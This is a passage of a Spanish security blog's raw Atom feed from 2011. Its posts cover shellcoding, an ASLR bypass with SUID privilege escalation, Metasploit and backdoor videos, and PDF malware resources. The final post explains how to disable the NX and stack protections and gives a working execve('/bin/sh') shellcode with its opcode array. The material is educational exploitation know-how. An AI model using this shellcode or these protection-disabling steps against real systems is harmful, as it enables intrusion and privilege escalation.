src='https://blogger.googleusercontent.com/tracker/23164839-8986736184250290549?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=8986736184250290549' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8986736184250290549'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8986736184250290549'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2011/07/smallest-linux-elf-binary-to-print.html' title='The smallest Linux ELF binary to print &apos;Hello world!&apos; [58 bytes]'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-8303088560354523853</id><published>2011-05-14T18:18:00.002+02:00</published><updated>2011-11-28T12:17:56.028+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><title type='text'>Local Linux x86 Shellcoding without any high-level language</title><content type='html'>Video complementario al &lt;a href="https://sites.google.com/a/vlan7.org/wiki/file-cabinet/0x01_local_linux_x86_shellcoding_without_any_high_level_language.pdf?attredirects=0&amp;d=1"&gt;&lt;b&gt;primer numero de las ASM/Shellcoding series&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Musica: La perrera - Carne de perro (instrumental)&lt;br /&gt;&lt;br /&gt;La idea es sencilla, pero se ilustra el primer shellcode funcional hecho publico (que yo sepa, corregidme de lo contrario!) sin recurrir a lenguajes de alto nivel.&lt;br /&gt;&lt;br /&gt;&lt;iframe width="425" height="349" src="http://www.youtube.com/embed/ij6c4A1ronE" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8303088560354523853?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=8303088560354523853' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8303088560354523853'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8303088560354523853'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2011/05/local-linux-x86-shellcoding-without-any.html' title='Local Linux x86 Shellcoding without any high-level language'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/ij6c4A1ronE/default.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-3628445220749917159</id><published>2011-05-07T00:54:00.004+02:00</published><updated>2012-01-20T14:49:57.055+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><category scheme='http://www.blogger.com/atom/ns#' term='redes'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><title type='text'>scapy 3-way TCP handshake</title><content type='html'>Usando scapy para generar (y enviar) los paquetes necesarios a medida para establecer una conexion contra un servidor FTP (un netcat a la escucha realmente) segun el saludo de 3 vias de TCP.&lt;br /&gt;&lt;br /&gt;&lt;iframe width="425" height="349" src="http://www.youtube.com/embed/Hmh6gG1cMhQ" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;Y en &lt;a href="http://www.wadalbertia.org"&gt;el mejor foro de seguridad del mundo&lt;/a&gt; un hilo con informacion condensada de &lt;a href="http://www.wadalbertia.org/foro/viewtopic.php?f=5&amp;t=6530"&gt;hack de redes para (casi) todos&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Have fun.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-3628445220749917159?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=3628445220749917159' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/3628445220749917159'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/3628445220749917159'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2011/05/scapy-3-way-tcpip-handshake.html' title='scapy 3-way TCP handshake'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/Hmh6gG1cMhQ/default.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-288323941141228749</id><published>2011-05-06T18:56:00.001+02:00</published><updated>2011-11-14T21:28:56.072+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>evilbs backdoor</title><content type='html'>Haciendo bobadas en casa de un amigo que me dejo sin inet.&lt;br&gt;&lt;br&gt;Se omiten bobadas mayores como un ataque ARP-spoofing contra el FW Zeroshell para capturar sus credenciales, y a partir de ahi, se juega con este backdoor.&lt;br&gt;&lt;br&gt;&lt;iframe width="425" height="349" src="http://www.youtube.com/embed/LBXdedA7m40" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-288323941141228749?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=288323941141228749' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/288323941141228749'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/288323941141228749'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2011/05/evilbs-backdoor.html' title='evilbs backdoor'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/LBXdedA7m40/default.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-5679246889717856653</id><published>2011-04-24T16:35:00.005+02:00</published><updated>2012-01-29T13:42:30.964+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><title type='text'>ASLR bypass Linux/x86 ret2eax Classical SUID privilege elevation</title><content type='html'>Hola exploiters,&lt;br /&gt;&lt;br /&gt;Aqui un video ilustrando un infoleak para vulnerar ASRL en un kernel de Linux actual en el momento de escribir esto.&lt;br /&gt;&lt;br /&gt;Ademas se ilustra la elevacion de privilegios mas clasica, explotar un binario SUID vulnerable inyectando un shellcode setuid(0) + execve en tiempo de ejecucion. De vlan7 a root.&lt;br /&gt;&lt;br /&gt;Y el paper &lt;a href="https://sites.google.com/a/vlan7.org/wiki/file-cabinet/0x02_bypassing_local_Linux_x86_ASLR_protection.pdf?attredirects=0&amp;d=1"&gt;&lt;b&gt;AQUI&lt;/b&gt;&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;iframe width="425" height="349" src="http://www.youtube.com/embed/JbCeej1dxHk" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;Enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-5679246889717856653?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=5679246889717856653' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/5679246889717856653'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/5679246889717856653'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2011/04/aslr-bypass-linuxx86-ret2eax.html' title='ASLR bypass Linux/x86 ret2eax Classical SUID privilege elevation'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/JbCeej1dxHk/default.jpg' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-5265363163273337254</id><published>2011-03-31T17:09:00.010+02:00</published><updated>2012-01-22T12:37:35.308+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><title type='text'>Overflowed Minds</title><content type='html'>&lt;a href="http://www.overflowedminds.net/" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 320px; height: 108px;" src="http://3.bp.blogspot.com/-OXjzTfMdMx4/TZSjuHQkxcI/AAAAAAAAAKc/n9B4fENwnxw/s320/om.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5590273050091505090" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Aupa!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;NewLog&lt;/span&gt; y yo estamos llevando a cabo un proyecto de shellcoding y explotacion de software, una comunidad que intenta ser un vestigio de epocas pasadas, donde lammers y script-kiddies aun no existian, donde el primer objetivo de las personas era aprender y descubrir, donde el afan por compartir y enseñar superaban, sin lugar a dudas, el propio ego.&lt;br /&gt;&lt;br /&gt;Podeis encontrarnos en la red en la URL &lt;a href="http://www.overflowedminds.net/"&gt;&lt;b&gt;http://www.overflowedminds.net&lt;/b&gt;&lt;/a&gt;. Por el momento disponemos de contenido propio en la seccion &lt;a href="http://www.overflowedminds.net/papers.php"&gt;Papers&lt;/a&gt;. Estos son:&lt;br /&gt;&lt;br /&gt;~ &lt;a href="http://www.overflowedminds.net/Papers/Newlog/Introduccion-Explotacion-Software-Linux.pdf"&gt;Introducción a la explotación de software en sistemas Linux&lt;/a&gt;&lt;br /&gt;~ &lt;a href="http://www.overflowedminds.net/Papers/vlan7/0x01_local_linux_x86_shellcoding_without_any_high_level_language.pdf"&gt;Local Linux x86 Shellcoding without any high-level language&lt;/a&gt;&lt;br /&gt;~ &lt;a href="http://www.overflowedminds.net/Papers/vlan7/0x02_bypassing_local_Linux_x86_ASLR_protection.pdf"&gt;Bypassing local Linux x86 ASLR protection&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Disponemos ademas de un &lt;a href="http://foro.overflowedminds.net/"&gt;foro&lt;/a&gt; en el que parece que comienza a haber cierta actividad, debido, en gran parte, a los blogs que nos han apoyado haciendonos una reseña. Gracias!&lt;br /&gt;&lt;br /&gt;En lo que respecta a las demas secciones de la pagina, esperamos llegar a desarrollar algo suficientemente bueno. Aunque quizas quieras ser tu el primero, asi que invitamos a leer el &lt;a href="http://www.overflowedminds.net/CFH.html"&gt;CFH [Call For Hackers]&lt;/a&gt; a toda aquella persona que desee colaborar o formar parte de esta comunidad.&lt;br /&gt;&lt;br /&gt;Y, ante todo, sed bienvenidos a &lt;a href="http://www.overflowedminds.net/"&gt;&lt;b&gt;Overflowed Minds&lt;/b&gt;&lt;/a&gt;!&lt;br /&gt;&lt;br /&gt;Referencias (agradecimientos vamos):&lt;br /&gt;&lt;br /&gt;+ &lt;a href="http://www.elladodelmal.com/2011/03/overflowed-minds-aprendiendo-hacer.html"&gt;&lt;b&gt;Un informático en el lado del mal: Overflowed minds: Aprendiendo a hacer exploits&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;+ &lt;a href="http://www.cyberhades.com/2011/03/31/overflowed-minds-recursos-para-la-seguridad-informatica/"&gt;&lt;b&gt;Overflowed Minds, recursos para la seguridad informática | CyberHades&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;+ &lt;a href="http://www.dragonjar.org/como-descubrir-vulnerabilidades-y-escribir-exploits.xhtml"&gt;&lt;b&gt;Como descubrir vulnerabilidades y escribir exploits | Dragonjar&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;+ &lt;a href="http://www.wadalbertia.org/foro/viewtopic.php?f=13&amp;amp;p=60667"&gt;&lt;b&gt;Wadalbertia - Overflowed Minds&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-5265363163273337254?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=5265363163273337254' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/5265363163273337254'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/5265363163273337254'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2011/03/overflowed-minds.html' title='Overflowed Minds'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-OXjzTfMdMx4/TZSjuHQkxcI/AAAAAAAAAKc/n9B4fENwnxw/s72-c/om.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-2575035880683061031</id><published>2011-01-31T20:02:00.009+01:00</published><updated>2011-12-02T12:14:01.471+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>metasploit</title><content type='html'>Haciendo bobadas en casa de un amigo consiguiendo una shell remota contra un Win suyo.&lt;br /&gt;&lt;br /&gt;&lt;iframe width="425" height="349" src="http://www.youtube.com/embed/pKOB2ZPsgAI" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;Se recomienda ver el video a pantalla completa con una resolucion de 720p.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-2575035880683061031?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=2575035880683061031' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2575035880683061031'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2575035880683061031'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2011/01/metasploit.html' title='metasploit'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/pKOB2ZPsgAI/default.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-6125292672958738988</id><published>2011-01-24T16:42:00.011+01:00</published><updated>2012-01-22T12:34:08.620+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><title type='text'>La nana del buffer overflow como arte, hacking o asi-empezo-todo</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_PaBcF8xG7k0/TT2wUdreGCI/AAAAAAAAAJ0/QMfkI86CevM/s1600/isthisreal.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 180px; height: 240px;" src="http://3.bp.blogspot.com/_PaBcF8xG7k0/TT2wUdreGCI/AAAAAAAAAJ0/QMfkI86CevM/s320/isthisreal.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5565798580110628898" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://zen7.vlan7.org/file-cabinet/worm-src.tar.gz?attredirects=0&amp;d=1"&gt;&lt;b&gt;worm-src.tar.gz&lt;/b&gt;&lt;/a&gt; ~ El codigo fuente del gusano de Morris. Es la primera explotacion de un buffer overflow conocida (entre otras muchas cosas que ingeniosamente atacaba el worm). Los comentarios de algunos codigos son buenos, muy buenos.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://zen7.vlan7.org/file-cabinet/10.1.1.38.4083.pdf?attredirects=0&amp;d=1"&gt;&lt;b&gt;10.1.1.38.4083.pdf&lt;/b&gt;&lt;/a&gt; ~ Un analisis del gusano de Morris, por los hackers del MIT. Salio en 1989, a los 3 meses del ataque.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://seclists.org/bugtraq/1995/Feb/109"&gt;&lt;b&gt;Vulnerability in NCSA HTTPD 1.3&lt;/b&gt;&lt;/a&gt; ~ Y aqui tenemos el exploit del tercer BoF de la historia, que publico Lopatic en bugtraq. Es un agradable intercambio de ideas incluso hoy.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;"That's all for now.&lt;br&gt;I hope I managed to prove that exploiting buffer overflows should be an art"&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;Signed, Solar Designer&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-6125292672958738988?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=6125292672958738988' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/6125292672958738988'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/6125292672958738988'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2011/01/la-nana-del-buffer-overflow-como.html' title='La nana del buffer overflow como arte, hacking o asi-empezo-todo'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_PaBcF8xG7k0/TT2wUdreGCI/AAAAAAAAAJ0/QMfkI86CevM/s72-c/isthisreal.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-8791182997599576550</id><published>2011-01-17T16:44:00.003+01:00</published><updated>2011-11-21T11:06:37.524+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>Malware en PDF</title><content type='html'>Mientras preparo el proximo numero de las ASM/Shellcoding series, como esto lleva tiempo sin actualizar pongo a continuacion algunos de los enlaces que me han parecido mas interesantes del malware en PDF, aunque la tendencia es que vaya ganando terrero el malware en Java.&lt;br /&gt;&lt;br /&gt;Sandboxes:&lt;br /&gt;http://sourceforge.net/projects/zerowine-tryout/ &lt;- VM&lt;br /&gt;http://mwanalysis.org/ &lt;- online&lt;br /&gt;&lt;br /&gt;Herramientas:&lt;br /&gt;http://jsunpack.jeek.org&lt;br /&gt;http://esec-lab.sogeti.com/dotclear/index.php?pages/Origami &lt;- Muy bueno, con muchos scripts en ruby listos para experimentar.&lt;br /&gt;http://malzilla.sourceforge.net/downloads.html&lt;br /&gt;&lt;br /&gt;Distros:&lt;br /&gt;http://zeltser.com/remnux/&lt;br /&gt;&lt;br /&gt;Textos:&lt;br /&gt;http://grey-corner.blogspot.com/search/label/malicious%20pdf&lt;br /&gt;http://contagiodump.blogspot.com&lt;br /&gt;http://extraexploit.blogspot.com/&lt;br /&gt;http://zeltser.com/combating-malicious-software/index.html&lt;br /&gt;&lt;br /&gt;El ultimo CVE 0day en malware en PDF:&lt;br /&gt;http://seclists.org/fulldisclosure/2010/Nov/23&lt;br /&gt;http://jsunpack.jeek.org/dec/go?report=b792fac9b11b08e874a5d274741d201aeeef9016 &lt;- pdf original&lt;br /&gt;http://jsunpack.jeek.org/dec/go?report=cd93a124369bfdc7260178c55028b140cb59cc0f &lt;- Descomprimido con pdftk&lt;br /&gt;&lt;br /&gt;Mola de jsunpack que puedes buscar por hash MD5 del archivo y te permite bajarte lo que "ve".&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8791182997599576550?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=8791182997599576550' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8791182997599576550'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8791182997599576550'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2011/01/malware-en-pdf.html' title='Malware en PDF'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-797392294550610018</id><published>2010-10-27T06:12:00.015+02:00</published><updated>2011-11-28T12:36:58.059+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='asm'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><title type='text'>shellcoding. A vueltas con el flag NX</title><content type='html'>&lt;div&gt;NX es una proteccion contra la explotacion de vulnerabilidades, tipicamente buffer overflows, heap overflows y demas hierbas, cuya defensa se basa en impedir que se ejecute codigo en regiones no ejecutables de la memoria. A saber: la pila, el heap y la seccion data.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Veamos si tenemos NX habilitado de forma global en Ubuntu o no. Podemos comprobarlo mirando en el archivo &lt;b&gt;/proc/cpuinfo&lt;/b&gt;. Segun &lt;a href="https://wiki.ubuntu.com/Security/CPUFeatures"&gt;documentacion oficial&lt;/a&gt; en la primera linea de flags aparecera &lt;b&gt;nx&lt;/b&gt; si la BIOS no esta deshabilitando NX (siempre que la CPU lo soporte). Casi todas las CPUs x64 soportan NX. Y las de 32 bits, si usan PAE seguramente soporten NX.&lt;/div&gt;&lt;pre class="brush: bash"&gt;vlan7@vlan7-ubuntu:~$ grep ^flags /proc/cpuinfo |head -n1 |grep nx&lt;br /&gt;flags      : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm 3dnowext 3dnow constant_tsc up rep_good nonstop_tsc extd_apicid pni monitor cx16 popcnt lahf_lm svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs skinit wdt&lt;br /&gt;vlan7@vlan7-ubuntu:~$&lt;/pre&gt;&lt;br /&gt;&lt;div&gt;Por ahi aparece el flag NX, lo que indica que en mi Ubuntu Lucid estoy usando NX.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Tambien comentar que a partir de Ubuntu 10.04 podemos ver si la BIOS esta deshabilitando NX o no mediante el siguiente comando:&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;vlan7@vlan7-ubuntu:~$ /usr/bin/check-bios-nx --verbose&lt;br /&gt;This CPU has nx in the flags, so the BIOS is not disabling it.&lt;br /&gt;vlan7@vlan7-ubuntu:~$&lt;/pre&gt;&lt;br /&gt;&lt;div&gt;Podemos desactivar el flag NX pasandole el parametro &lt;b&gt;-s&lt;/b&gt; a la herramienta &lt;b&gt;execstack&lt;/b&gt;, que se encuentra en los repositorios de debian/ubuntu dentro del paquete &lt;b&gt;prelink&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;sudo aptitude install prelink&lt;/pre&gt;&lt;br /&gt;&lt;div&gt;Si no queremos instalar el paquete, podemos hacerlo con &lt;b&gt;ld&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;b&gt;-z noexecstack    Mark executable as not requiring executable stack&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Y... ¿como deshabilitar NX globalmente en Ubuntu?&lt;/div&gt;&lt;div&gt;1. Desde la BIOS (la opcion depende del modelo claro).&lt;/div&gt;&lt;div&gt;ó&lt;/div&gt;&lt;div&gt;2. Recompilando el kernel.&lt;/div&gt;&lt;div&gt;Profundicemos en el punto 2. Segun &lt;a href="https://wiki.ubuntu.com/CompilerFlags"&gt;documentacion oficial&lt;/a&gt;, Ubuntu viene compilado por defecto con la opcion &lt;b&gt;-fstack-protector&lt;/b&gt; desde su version &lt;b&gt;6.10&lt;/b&gt;. Se deshabilita con &lt;b&gt;-fno-stack-protector&lt;/b&gt; o &lt;b&gt;-nostdlib&lt;/b&gt; en &lt;b&gt;CPPFLAGS&lt;/b&gt;. No he podido llevarlo a cabo, y ya no dispongo de ninguna Ubuntu para probarlo :/&lt;/div&gt;&lt;div&gt;Vamos a por un shellcode.&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;vlan7@vlan7-ubuntu:~$ nasm -f elf32 sc.asm&lt;br /&gt;vlan7@vlan7-ubuntu:~$ objdump -d sc.o&lt;br /&gt;sc.o:     file format elf32-i386&lt;br /&gt;Disassembly of section .text:&lt;br /&gt;00000000 _start:&lt;br /&gt;0:   eb 14                   jmp    16&lt;br /&gt;00000002 :&lt;br /&gt;2:   5b                      pop    %ebx&lt;br /&gt;3:   31 c0                   xor    %eax,%eax&lt;br /&gt;5:   99                      cltd&lt;br /&gt;6:   88 43 07                mov    %al,0x7(%ebx)&lt;br /&gt;9:   89 5b 08                mov    %ebx,0x8(%ebx)&lt;br /&gt;c:   88 43 0c                mov    %al,0xc(%ebx)&lt;br /&gt;f:   8d 4b 08                lea    0x8(%ebx),%ecx&lt;br /&gt;12:   b0 0b                   mov    $0xb,%al&lt;br /&gt;14:   cd 80                   int    $0x80&lt;br /&gt;00000016 :&lt;br /&gt;16:   e8 e7 ff ff ff          call   2&lt;br /&gt;1b:   2f                      das&lt;br /&gt;1c:   62 69 6e                bound  %ebp,0x6e(%ecx)&lt;br /&gt;1f:   2f                      das&lt;br /&gt;20:   73 68                   jae    8a&lt;/pre&gt;&lt;div&gt;Vamos ahora a obtener los opcodes que formaran el array:&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;vlan7@vlan7-ubuntu:~$ objdump -d ./sc.o |grep '[0-9a-f]:' |grep -v 'file' |cut -f2 -d: |cut -f1-6 -d' ' |tr -s ' ' |tr '\t' ' ' |sed 's/ $//g' |sed 's/ /\\x/g' |paste -d '' -s |sed 's/^/"/' |sed 's/$/"/g'"\xeb\x14\x5b\x31\xc0\x99\x88\x43\x07\x89\x5b\x08\x88\x43\x0c\x8d\x4b\x08\xb0\x0b\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68&lt;/pre&gt;&lt;div&gt;Entonces el sellcode queda finalmente asi:&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;vlan7@vlan7-ubuntu:~$ cat sc7.c&lt;br /&gt;char sc[] = {"\xeb\x14\x5b\x31\xc0\x99\x88\x43\x07\x89\x5b\x08\x88\x43\x0c\x8d\x4b\x08\xb0\x0b\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"};&lt;br /&gt;typedef void (*f)();&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;  f func;&lt;br /&gt;  func = (f)sc;&lt;br /&gt;  